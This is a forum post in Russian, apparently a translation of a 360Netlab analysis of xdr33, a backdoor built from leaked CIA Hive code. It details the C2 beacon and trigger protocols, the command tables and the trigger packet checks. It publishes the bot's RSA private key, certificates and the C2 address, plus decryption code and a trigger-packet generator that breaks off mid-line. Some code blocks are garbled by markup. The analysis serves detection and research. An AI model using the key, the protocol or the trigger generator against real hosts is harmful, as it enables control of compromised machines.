• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Внимание! Xdr33, разновидность набора для атак HIVE от ЦРУ

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов

Обзор

21 октября 2022 года система honeypot лаборатории 360Netlab перехватила подозрительный ELF-файл ee07a74d12c0bb3594965b51d0e45b6f, который распространялся через уязвимость F5 с нулевым обнаружением VT, наша система заметила, что он взаимодействует с IP 45.9.150.144, используя SSL с поддельными сертификатами Касперского, это привлекло наше внимание. После дальнейшего поиска мы подтвердили, что этот образец был адаптирован из утечки исходного кода сервера проекта Hive из ЦРУ. Это первый случай, когда мы поймали вариант набора для атак CIA HIVE в дикой природе, и мы назвали его xdr33 на основе встроенного сертификата Bot-side CN=xdr33. Подводя итог, можно сказать, что xdr33 - это бэкдор, рожденный проектом CIA Hive, основная цель которого - сбор конфиденциальной информации и обеспечение плацдарма для последующих вторжений. С точки зрения сетевого взаимодействия, xdr33 использует алгоритм XTEA или AES для шифрования исходного трафика, и использует SSL с включенным режимом аутентификации клиент-сертификат для дальнейшей защиты трафика; с точки зрения функций, есть две основные задачи: маяк и триггер, из которых маяк периодически сообщает конфиденциальную информацию об устройстве жестко закодированному маяку C2 и выполняет выданные им команды, а триггер отслеживает трафик сетевой карты для выявления определенных сообщений, скрывающих триггер C2, и при получении таких сообщений устанавливает связь с триггером C2 и ожидает выполнения выданных им команд.

Функциональная схема показана ниже.

hive_function.png


Hive использует макрос BEACON_HEADER_VERSION для определения указанной версии, которая имеет значение 29 в ветви Master исходного кода и значение 34 в xdr33, так что, возможно, xdr33 уже прошел несколько раундов итеративных обновлений. По сравнению с исходным кодом HIV, xdr33 был обновлен в следующих 5 областях:
  • Добавлены новые инструкции CC
  • Обертывание или расширение функций
  • Структуры были переупорядочены и расширены
  • Формат сообщения триггера
  • Добавление операций CC в задачу Beacon.



Эти модификации xdr33 не очень сложны в плане реализации, и в сочетании с тем, что уязвимость, использованная в этом распространении, является N-day, мы склонны исключить возможность того, что ЦРУ продолжало совершенствовать просочившийся исходный код, и считаем, что это результат заимствования просочившегося исходного кода группой кибер-атак.

Полезная нагрузка при доставке уязвимости

md5 захваченной нами полезной нагрузки - ad40060753bc3a1d6f380a5054c1403a, а ее содержимое показано ниже.
hive_logd.png


Код прост и понятен, и его основная цель заключается в следующем

  • Загрузить следующий этап примера и замаскировать его под /command/bin/hlogd.
  • Установить службу logd для обеспечения персистентности.

Анализ образца

Мы захватили только один образец xdr33 для архитектуры X86, и его основная информация приведена ниже.
Код:
MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None

Проще говоря, когда xdr33 запускается на скомпрометированном устройстве, он сначала расшифровывает всю конфигурационную информацию, затем проверяет, есть ли у него права root/admin, если нет, он печатает "Недостаточно прав. попробуйте еще раз... " и выход; в противном случае инициализируются различные параметры времени выполнения, такие как C2, PORT, интервал времени выполнения и т.д. Наконец, две функции beacon_start и TriggerListen используются для открытия двух задач Beacon и Trigger.

hive_main.png


В данной статье в основном анализируется реализация Beacon и Trigger с точки зрения бинарной инверсии; в то же время мы также сравниваем и анализируем исходный код, чтобы увидеть, какие изменения произошли.

Расшифровка информации о конфигурации

xdr33 расшифровывает информацию о конфигурации следующим фрагментом кода decode_str, его логика очень проста, т.е. инверсия байт за байтом.
hive_decode.png


В IDA видно, что в decode_str много перекрестных ссылок, всего 152. Чтобы помочь в анализе, мы реализовали сценарий IDAPython Decode_RES в приложении для расшифровки информации о конфигурации.

hive_idaxref.png


Результаты расшифровки показаны ниже, включая Beacon C2 45.9.150.144, подсказки во время выполнения, команды для просмотра информации об устройстве и т. д.

hive_config.png


Beacon Task​

Основная функция Beacon заключается в периодическом сборе информации о PID, MAC, SystemUpTime, процессах и сетевых устройствах; затем используйте алгоритм bzip, XTEA, чтобы сжать и зашифровать информацию об устройстве, и сообщить C2; наконец, дождитесь выполнения команд

0x01: Сбор информации

Запрос MAC по SIOCGIFCON
hive_mac-1.png


SystemUpTime
Собирает время работы системы через /proc/uptime

hive_uptime.png


Информация о процессах и сетевых подключениях
Соберите информацию о процессе, сетевой карте, сетевом подключении и маршрутизации, выполнив следующие 4 команды

hive_netinfo.png


Для того чтобы различать информацию о различных устройствах, Hive разработал ADD_HDR, который определен следующим образом, а "3, 4, 5, 6" на рисунке выше представляет различные типы заголовков.
Код:
typedef struct __attribute__ ((packed)) add_header {

    unsigned short type;

    unsigned short length;

} ADD_HDR;

Что именно представляют собой "3, 4, 5, 6"? Это зависит от определения типов заголовков в исходном коде ниже. xdr33 расширен на этой основе, с двумя новыми значениями 0 и 9, представляющими Sha1[:32] MAC и PID xdr33 соответственно.

hive_type.png


Некоторая информация, собранная xdr32 на виртуальной машине, показана ниже, и видно, что она содержит информацию об устройстве с хедером 0,1,2,7,9,3.

hive_deviceinfo.png


Стоит отметить, что type=0, Sha1[:32] of MAC, что означает, что он занимает первые 32 байта MAC SHA1. В качестве примера возьмем mac на рисунке выше, процесс его расчета выглядит следующим образом.
Код:
mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43

sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640

Когда вся информация об устройстве будет объединена, используйте bzip, чтобы сжать ее и добавить 2 байта beacon_header_versionи 2 байта информации об ОС в заголовке.

hive_devicebzip.png


0x03: сетевая связь​


Процесс связи между xdr33 и Beacon C2 состоит из следующих 4 шагов, и детали каждого шага будут подробно проанализированы ниже.


  • Двусторонняя SSL-аутентификация
  • Получить ключ XTEA
  • Сообщить информацию о зашифрованном XTEA устройстве C2
  • Выполнять команды, отправленные C2

Шаг 1: Двусторонняя SSL-аутентификация​


Двусторонняя SSL-аутентификация требует, чтобы Bot и C2 подтверждали личность друг друга, на уровне сетевого трафика очевидно, что Bot и C2 запрашивают сертификат друг друга и проверяют процесс.

hive_certi.png


Автор xdr33 использует шаблоны kaspersky.conf и thawte.conf в исходном репозитории для генерации необходимого сертификата бота, сертификата C2 и сертификата CA.
hive_certconf.png


Сертификат ЦС, сертификат бота и PrivKey жестко закодированы в xdr32 в формате DER.

hive_sslsock.png



Сертификат бота можно просмотреть с помощью openssl x509 -in Cert -inform DER -noout -text, где CN=xdr33, откуда и происходит

hive_botcert.png


Ты можешь использовать openssl s_client -connect 45.9.150.144:443чтобы увидеть сертификат C2. bot, сертификаты C2 маскируются под относящиеся к касперскому, таким образом снижая подозрительность сетевого трафика

hive_c2cert.png


Сертификаты ЦС показаны ниже. Исходя из действительности 3 сертификатов, мы предполагаем, что начало этой деятельности после 2022.10.7.

Шаг 2: Получите ключ XTEA​


После установления связи SSL между Bot и C2 Bot запрашивает ключ XTEA у C2 с помощью следующего фрагмента кода.

hive_teakey.png


Логика обработки такая.


  1. Бот отправляет 64 байта данных на C2 в формате «длина строки длины информации об устройстве (xor 5) + строка длины информации об устройстве (xor 5) + случайные данные».
  2. Бот получает 32 байта данных от C2 и получает от него 16 байт XTEA KEY, эквивалентный код Python для получения KEY выглядит следующим образом.
    Код:
    XOR_KEY=5
    def get_key(rand_bytes):
        offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
        return  rand_bytes[(offset+1):(offset+17)]

Шаг 3: Сообщите C2 информацию о зашифрованном устройстве XTEA.​


Бот использует XTEA KEY, полученный на шаге 2, для шифрования информации об устройстве и передачи ее C2. поскольку информация об устройстве велика, ее обычно нужно отправлять порциями, Bot отправляет до 4052 байт за раз, а C2 отвечает количеством принятых байтов.
hive_teadevice.png


Также стоит отметить, что шифрование XTEA используется только на шаге 3, а последующий шаг 4 использует только набор шифрования с согласованием SSL для сетевого трафика и больше не использует XTEA.


Шаг 4: Ожидание команды выполнения (новая функция, добавленная xdr33)​


После сообщения информации об устройстве, C2 отправляет 8 байтов номера задачи N этого цикла Боту, если N равно 0, он будет спать в течение определенного времени и войдет в следующий цикл Beacon Task; если нет, он отправит 264 байта задачи. бот получает задание, разбирает его и выполняет соответствующую инструкцию.

hive_beaconwaitcmd.png


Поддерживаемые инструкции показаны в следующей таблице.


ПоказательФункция
0x01Скачать файл
0x02Выполнить CMD с поддельным именем "[kworker/3:1-events]"
0x03Обновлять
0x04Загрузить файл
0x05Удалить
0x08Запустить оболочку
0x09Прокси-сервер Socket5
0x0bОбновить BEACONINFO

Пример сетевого трафика

Фактический трафик шага 2, сгенерированный xdr33

hive_packet.png

Взаимодействие на шаге 3 и трафик на шаге 4​

hive_packetB.png


Какую информацию мы можем получить из этого??​


  1. Длина строки длины информации об устройстве, 0x1 ^ 0x5 = 0x4
  2. Длина информации об устройстве, 0x31,0x32,0x37,0x35 соответственно xor 5 дает 4720
  3. ключ 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
  4. C2 подтвердит длину информации об устройстве, сообщенную BOT, 4052+668 = 4720, что соответствует второй точке
  5. Количество задач в этом цикле 00 00 00 00 00 00 00, т.е. задачи нет, значит, никакой конкретной задачи на 264 байта выдаваться не будет.

Зашифрованную информацию об устройстве можно расшифровать с помощью следующего кода, а расшифрованные данные 00 22 00 14 42 5A 68 39, который содержит beacon_header_version + os + bzip magic, и предыдущий анализ может соответствовать по одному.
Код:
import hexdump
import struct

def xtea_decrypt(key,block,n=32,endian="!"):
    v0,v1 = struct.unpack(endian+"2L", block)
    k = struct.unpack(endian+"4L",key)
    delta,mask = 0x9e3779b9,0xffffffff
    sum = (delta * n) & mask
    for round in range(n):
        v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
        sum = (sum - delta) & mask
        v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
    return struct.pack(endian+"2L",v0,v1)

def decrypt_data(key,data):
    size = len(data)
    i = 0
    ptext = b''
    while i < size:
        if size - i >= 8:
            ptext += xtea_decrypt(key,data[i:i+8])
        i += 8
    return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")

hexdump.hexdump(decrypt_data(key,enc_buf))

Триггер​

Основная функция триггера — прослушивание всего трафика и ожидание IP-сообщения триггера в определенном формате. Как только сообщение и полезная нагрузка триггера, скрытые в сообщении, проходят уровни проверки, бот устанавливает связь с C2 в полезной нагрузке триггера и ожидает выполнения отправленных инструкций.

0x1: прослушивание трафика​


Используйте вызов функции socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )чтобы установить RAW SOCKET для захвата IP-сообщений, а затем следующий фрагмент кода для обработки IP-сообщений, вы можете видеть, что Tirgger поддерживает TCP, UDP, а максимальная длина полезной нагрузки сообщения составляет 472 байта. Такая реализация перехвата трафика увеличит нагрузку на ЦП, на самом деле использование BPF-фильтра на сокетах будет работать лучше.

hive_snfpkt.png


0x2: Checksum Trigger packets
TCP и UDP сообщения, удовлетворяющие требованию длины, проверяются далее с помощью той же функции check_payload.
hive_handxref.png


check_payload выглядит следующим образом:

hive_checkpayload.png


Логику обработки можно представить следующим образом.
  • Используйте алгоритм CRC16/CCITT-FALSE для вычисления значения CRC16 смещения от 8 до 92 в сообщении, чтобы получить crcValue.
  • Значение смещения crcValue в сообщении получается crcValue % 200+ 92, crcOffset
  • Проверьте, равны ли данные в crcOffset в сообщении crcValue, если они равны, перейдите к следующему шагу.
  • Проверьте, являются ли данные в crcOffset+2 в сообщении целым числом, кратным 127, если да, перейдите к следующему шагу.
  • Trigger_Payload зашифрован, начальная позиция crcOffset+12, длина 29 байт. начальная позиция Xor_Key - crcValue% 55+8, XOR два байта за байтом, мы получаем Trigger_Paylaod

Пока можно определить, что Trigger message formatс оставляет

hive_triggerpkt-1.png


0x3: Полезная нагрузка триггера контрольной суммы
Если триггерное сообщение проходит контрольную сумму, функция check_trigger продолжает проверять триггерную полезную нагрузку.

hive_triggerfinal.png


Логику обработки можно увидеть следующим образом
  • Возьмите последние 2 байта полезной нагрузки триггера и запишите их как crcRaw.
  • Установите последние 2 байта полезной нагрузки триггера в 0 и рассчитайте его CRC16, который называется crcCalc.
  • Сравните crcRaw и crcCalc, если они равны, это означает, что полезная нагрузка триггера структурно допустима.

Затем вычисляется SHA1 ключа в полезной нагрузке триггера и сравнивается с жестко закодированным SHA1. 46a3c308401e03d3195c753caa14ef34a3806593в Боте. Если он равен, это означает, что Trigger Payload также допустим по содержанию, поэтому мы можем перейти к последнему шагу, установить связь с C2 в Trigger Payload и дождаться выполнения выданной им команды.


Формат Trigger Payload можно определить следующим образом.

hive_triggerfmt-1.png


0x4: выполнение команды триггера C2.
После того, как триггерное сообщение проходит контрольную сумму, бот активно связывается с C2, указанным в полезной нагрузке триггера, и ожидает выполнения инструкций, выданных C2.

hive_triggercmd.png


Поддерживаемые инструкции показаны в следующей таблице.


ПоказательФункция
0x00,0x00аВыход
0x01Скачать файл
0x02Выполнить CMD
0x04Загрузить файл
0x05Удалить
0x06Неисправность
0x08Запустить ОБОЛОЧКУ
0x09ПРОКСИ SOCKET5
0x0bОбновить BEACONINFO

Стоит отметить, что Trigger C2 отличается от Beacon C2 деталями связи; после установления SSL-туннеля Bot и Trigger C2 используют обмен ключами Диффи-Хеллмана для установления общего ключа, который используется в алгоритме AES для создания второго уровня шифрования.

hive_aes.png


Эксперимент​


Для проверки корректности обратного анализа Trigger части, Патчим значение SHA1 xdr33, заполняем SHA1 NetlabPatched,Enjoy!и реализуйте код GenTrigger в приложении для генерации триггерных сообщений типа UDP.





Запускаем Патч на виртуальной машине 192.168.159.133после образца xdr33 построение C2 для 192.168.159.128:6666Trigger Payload и отправляется на 192.168.159.133 в виде UDP. окончательный результат выглядит следующим образом, вы можете увидеть xdr33 в имплантированном хосте после получения триггерного сообщения UDP, и мы ожидали того же, запустили запрос на связь с предустановленным триггером C2, круто!

hive_vmware.png


IOC​


sample​

Код:
[/HEADING][/HEADING]
[HEADING=2]ee07a74d12c0bb3594965b51d0e45b6f[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]patched sample[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]af5d2dfcafbb23666129600f982ecb87[/HEADING]
[HEADING=2][HEADING=2]


C2​

Код:
[/HEADING][/HEADING]
[HEADING=2]45.9.150.144:443[/HEADING]
[HEADING=2][HEADING=2]


BOT Private Key​

Код:
[/HEADING][/HEADING]
[HEADING=2]-----BEGIN RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ[/HEADING]
[HEADING=2]mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je[/HEADING]
[HEADING=2]o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI[/HEADING]
[HEADING=2]4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK[/HEADING]
[HEADING=2]yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut[/HEADING]
[HEADING=2]90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO[/HEADING]
[HEADING=2]NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG[/HEADING]
[HEADING=2]aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE[/HEADING]
[HEADING=2]49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/[/HEADING]
[HEADING=2]KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf[/HEADING]
[HEADING=2]0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk[/HEADING]
[HEADING=2]Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb[/HEADING]
[HEADING=2]ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu[/HEADING]
[HEADING=2]YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/[/HEADING]
[HEADING=2]zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8[/HEADING]
[HEADING=2]aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI[/HEADING]
[HEADING=2]hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd[/HEADING]
[HEADING=2]+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC[/HEADING]
[HEADING=2]7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi[/HEADING]
[HEADING=2]FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj[/HEADING]
[HEADING=2]Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet[/HEADING]
[HEADING=2]KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf[/HEADING]
[HEADING=2]7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD[/HEADING]
[HEADING=2]poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+[/HEADING]
[HEADING=2]7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID[/HEADING]
[HEADING=2]-----END RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]

BOT Certificate​

Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV[/HEADING]
[HEADING=2]MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l[/HEADING]
[HEADING=2]ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM[/HEADING]
[HEADING=2]Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK[/HEADING]
[HEADING=2]AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh[/HEADING]
[HEADING=2]JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0[/HEADING]
[HEADING=2]alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz[/HEADING]
[HEADING=2]WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv[/HEADING]
[HEADING=2]c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q[/HEADING]
[HEADING=2]1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA[/HEADING]
[HEADING=2]MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz[/HEADING]
[HEADING=2]BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV[/HEADING]
[HEADING=2]BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU[/HEADING]
[HEADING=2]aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2[/HEADING]
[HEADING=2]aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB[/HEADING]
[HEADING=2]MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G[/HEADING]
[HEADING=2]A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B[/HEADING]
[HEADING=2]AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy[/HEADING]
[HEADING=2]qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P[/HEADING]
[HEADING=2]o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c[/HEADING]
[HEADING=2]d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3[/HEADING]
[HEADING=2]ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI[/HEADING]
[HEADING=2]lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]

CA Certificate​

Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB[/HEADING]
[HEADING=2]MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG[/HEADING]
[HEADING=2]A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp[/HEADING]
[HEADING=2]b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl[/HEADING]
[HEADING=2]cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv[/HEADING]
[HEADING=2]bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr[/HEADING]
[HEADING=2]3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg[/HEADING]
[HEADING=2]3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d[/HEADING]
[HEADING=2]hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV[/HEADING]
[HEADING=2]AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf[/HEADING]
[HEADING=2]tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC[/HEADING]
[HEADING=2]JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb[/HEADING]
[HEADING=2]8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0[/HEADING]
[HEADING=2]/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl[/HEADING]
[HEADING=2]MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n[/HEADING]
[HEADING=2]IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw[/HEADING]
[HEADING=2]HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW[/HEADING]
[HEADING=2]GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G[/HEADING]
[HEADING=2]CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF[/HEADING]
[HEADING=2]tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6[/HEADING]
[HEADING=2]u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw[/HEADING]
[HEADING=2]LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//[/HEADING]
[HEADING=2]kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm[/HEADING]
[HEADING=2]yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]

0x1 Decode_RES​

Код:
[/HEADING]
[HEADING=2]import idautils[/HEADING]
[HEADING=2]import ida_bytes[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def decode(addr,len):[/HEADING]
[HEADING=2]    tmp=bytearray()[/HEADING]
[HEADING=2]   [/HEADING]
[HEADING=2]    buf=ida_bytes.get_bytes(addr,len)[/HEADING]
[HEADING=2]    for i in buf:[/HEADING]
[HEADING=2]        tmp.append(~i&0xff)[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]    print("%x, %s" %(addr,bytes(tmp)))[/HEADING]
[HEADING=2]    ida_bytes.put_bytes(addr,bytes(tmp))[/HEADING]
[HEADING=2]    idc.create_strlit(addr,addr+len)[/HEADING]
[HEADING=2]   [/HEADING]
[HEADING=2]calllist=idautils.CodeRefsTo(0x0804F1D8,1)[/HEADING]
[HEADING=2]for addr in calllist:[/HEADING]
[HEADING=2]    prev1Head=idc.prev_head(addr)[/HEADING]
[HEADING=2]    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:[/HEADING]
[HEADING=2]        bufaddr=idc.get_operand_value(prev1Head,0)[/HEADING]
[HEADING=2]        prev2Head=idc.prev_head(prev1Head)[/HEADING]
[HEADING=2]       [/HEADING]
[HEADING=2]        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:[/HEADING]
[HEADING=2]            leng=idc.get_operand_value(prev2Head,0)[/HEADING]
[HEADING=2]            decode(bufaddr,leng)[/HEADING]
[HEADING=2]

0x02 GenTrigger​

Код:
[/HEADING]
[HEADING=2]import random[/HEADING]
[HEADING=2]import socket[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def crc16(data: bytearray, offset, length):[/HEADING]
[HEADING=2]  if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):[/HEADING]
